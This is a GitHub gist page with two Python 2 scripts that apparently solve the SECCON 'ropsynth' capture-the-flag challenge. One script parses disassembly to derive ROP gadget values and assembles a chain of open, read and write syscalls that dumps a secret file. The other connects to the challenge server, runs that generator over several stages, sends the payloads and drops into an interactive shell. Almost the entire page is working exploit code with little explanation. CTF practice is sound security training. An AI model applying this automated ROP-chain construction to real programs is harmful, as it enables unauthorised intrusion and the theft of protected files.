-
-
Save otms61/1c8254af1466d8af146cabe00e03670a to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf-8 -*- | |
| import struct | |
| import binascii | |
| def p(a): | |
| return struct.pack("<Q", a) | |
| def u(a): | |
| return struct.unpack("<Q", a)[0] | |
| def calc_gadgets(line_itr): | |
| gadgets = [] | |
| while True: | |
| g1_line = line_itr.next() | |
| g1_line = g1_line.split() | |
| if g1_line[1] == 'hlt': | |
| continue | |
| if g1_line[1] == 'ret': | |
| print '[*] ret is found!' | |
| break | |
| target = g1_line[2] | |
| inst_list = [] | |
| # print '[*] {} is target!'.format(target) | |
| for g_line in line_itr: | |
| if 'je' in g_line: | |
| # print inst_list | |
| break | |
| insts = g_line.split() | |
| v = int(insts[2].split(',')[1], 0x10) | |
| inst_list.append([insts[1], v]) | |
| inst = inst_list.pop() | |
| assert(inst[0] == 'cmp') | |
| gadget_val = inst[1] | |
| while len(inst_list) > 0: | |
| inst = inst_list.pop() | |
| if inst[0] == 'sub': | |
| gadget_val += inst[1] | |
| elif inst[0] == 'add': | |
| gadget_val -= inst[1] | |
| elif inst[0] == 'xor': | |
| gadget_val ^= inst[1] | |
| else: | |
| assert(False) | |
| gadget_val &= 0xffffffffffffffff | |
| print " gadget value is {:#x}".format(gadget_val) | |
| gadgets.append(gadget_val) | |
| return gadgets | |
| fp = open('dumped').read().split('\n') | |
| gadgets = {} | |
| line_itr = iter(fp[7:-1]) | |
| SECRET_STR_ADDR = 0x00a00000 | |
| BUFF_ADDR = 0x00a00100 | |
| for line in line_itr: | |
| line = line.split(':') | |
| line_n = int(line[0].strip(), 0x10) + 0x00800000 | |
| inst_raw = line[1].strip() | |
| if 'rsi' in inst_raw: | |
| print '[+] rsi gadgets found!' | |
| gn = 'rsi' | |
| elif 'rdi' in inst_raw: | |
| print '[+] rdi gadgets found!' | |
| gn = 'rdi' | |
| elif 'rdx' in inst_raw: | |
| print '[+] rdx gadgets found!' | |
| gn = 'rdx' | |
| elif 'syscall' in inst_raw: | |
| print '[+] syscall gadgets found!' | |
| gn = 'syscall' | |
| elif 'rax' in inst_raw: | |
| if 'push' in inst_raw: | |
| continue | |
| print '[+] rax gadgets found!' | |
| gn = 'rax' | |
| else: | |
| continue | |
| g = calc_gadgets(line_itr) | |
| print g | |
| gadgets[gn] = {'addr': line_n, 'gadgets': g} | |
| def build_rop_gadget(target_ins, val=0, pop_eax=False): | |
| addr = gadgets[target_ins]['addr'] | |
| rop_gadgets = [] | |
| if target_ins == 'syscall': | |
| rop_gadgets.append(addr) | |
| print '{:>8}: {:8x}'.format(target_ins, addr) | |
| else: | |
| if pop_eax: | |
| rop_gadgets.append(addr-1) | |
| print '{:>8}: {:8x}'.format(target_ins, addr-1) | |
| else: | |
| rop_gadgets.append(addr) | |
| rop_gadgets.append(val) | |
| print '{:>8}: {:8x}'.format(target_ins, addr) | |
| print '{:>8}: {:8x}'.format('val', val) | |
| for v in gadgets[target_ins]['gadgets']: | |
| rop_gadgets.append(v) | |
| print '{:>8}: {:8x}'.format('', v) | |
| # print rop_gadgets | |
| return ''.join(map(p, rop_gadgets)) | |
| payload = '' | |
| # fd = open('secret', 0, 0) | |
| payload += build_rop_gadget('rax', 2) | |
| payload += build_rop_gadget('rdi', SECRET_STR_ADDR) | |
| payload += build_rop_gadget('rsi', 0) | |
| payload += build_rop_gadget('rdx', 0) | |
| payload += build_rop_gadget('syscall') | |
| # len = read(fd, buf, 256) | |
| payload += build_rop_gadget('rdi', pop_eax=True) | |
| payload += build_rop_gadget('rax', 0) | |
| payload += build_rop_gadget('rsi', BUFF_ADDR) | |
| payload += build_rop_gadget('rdx', 256) | |
| payload += build_rop_gadget('syscall') | |
| # write(1, buf, len) | |
| payload += build_rop_gadget('rdx', pop_eax=True) | |
| payload += build_rop_gadget('rax', 1) | |
| payload += build_rop_gadget('rdi', 1) | |
| payload += build_rop_gadget('rsi', BUFF_ADDR) | |
| payload += build_rop_gadget('syscall') | |
| # print payload.encode('base64') | |
| b_payload = binascii.b2a_base64(payload) | |
| print b_payload | |
| ofp = open('payload', 'w') | |
| ofp.write(b_payload) | |
| ofp.close() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf-8 -*- | |
| import socket | |
| import struct | |
| import telnetlib | |
| import os | |
| def sock(remoteip, remoteport): | |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
| s.connect((remoteip, remoteport)) | |
| f = s.makefile('rw', bufsize=0) | |
| return s, f | |
| def read_until(f, delim='\n'): | |
| data = '' | |
| while not data.endswith(delim): | |
| data += f.read(1) | |
| return data | |
| def shell(s): | |
| t = telnetlib.Telnet() | |
| t.sock = s | |
| t.interact() | |
| # s, f = sock('localhost', 4444) | |
| s, f = sock('ropsynth.pwn.seccon.jp', 10000) | |
| print read_until(f) | |
| def attack(): | |
| encoded = read_until(f) | |
| print 'encoded' | |
| print encoded | |
| fp = open('bin', 'w') | |
| fp.write(encoded.decode('base64')) | |
| fp.close() | |
| os.system('objdump --no-show-raw-insn -Mintel,x86-64 -b binary -D -m i386 ./bin > dumped') | |
| os.system('python r.py') | |
| fg = open('payload').read() | |
| f.write(fg) | |
| attack() | |
| for _ in range(4): | |
| print read_until(f, 'stage') | |
| print read_until(f) | |
| attack() | |
| shell(s) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Uh oh!
There was an error while loading. Please reload this page.